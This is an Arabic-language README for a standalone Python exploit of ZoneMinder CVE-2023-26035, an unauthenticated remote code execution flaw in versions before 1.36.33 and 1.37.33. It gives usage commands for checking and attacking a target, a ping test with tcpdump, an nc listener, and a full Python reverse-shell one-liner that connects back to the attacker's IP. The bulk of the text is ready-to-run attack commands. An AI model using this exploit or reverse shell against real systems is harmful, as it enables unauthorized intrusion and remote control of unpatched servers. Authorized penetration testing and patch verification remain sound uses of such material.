استغلال - ZoneMinder CVE-2023-26035

يوجد تنفيذ تعليمات برمجية عن بعد غير مُصدق عليه (RCE) يؤثر على لقطات ZoneMinder.
هذا استغلال لـ CVE-2023-26035.

الإصدارات المتأثرة

ZoneMinder < 1.36.33 و
ZoneMinder < 1.37.33.

الاستخدام

التحقق مما إذا كان الهدف ضعيفًا:

python3 zoneminder.py http://target

تنفيذ أمر

python3 zoneminder.py http://target command

أمثلة

اختبار تنفيذ الأمر باستخدام ping

قم بتشغيل tcpdump على الواجهة المتصلة بالهدف (هنا tun0) وقم بالتصفية لحزم ICMP:

sudo tcpdump -i tun0 icmp

ثم قم بتنفيذ ping إلى عنوان IP الخاص بك. تأكد من استخدام علامات الاقتباس " وإلا فلن يتم تفسير الأمر بشكل صحيح.

python3 zoneminder.py http://target "ping -C 4 your_ip"

شل عكسي

أنشئ المستمع باستخدام netcat:

nc -lvnp 1337

استخدم سطر واحد للشل العكسي:

python3 zoneminder.py http://TARGET "python3 -c 'import os,pty,socket;s=socket.socket();s.connect((\"YOUR_IP\",1337));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn(\"sh\")'"

المزيد على https://revshells.com.

المتطلبات

يستخدم الاستغلال requests و BeautifulSoup. قم بتثبيته باستخدام:

python3 -m pip install requests beautifulsoup4

الإقرارات

أردت فقط استغلالًا مستقلاً لا يحتاج إلى Metasploit.
النص مشتق من https://github.com/rapid7/metasploit-framework/blob/master//modules/exploits/unix/webapp/zoneminder_snapshots.rb

https://github.com/ZoneMinder/zoneminder/security/advisories/GHSA-72rg-h4vf-29gr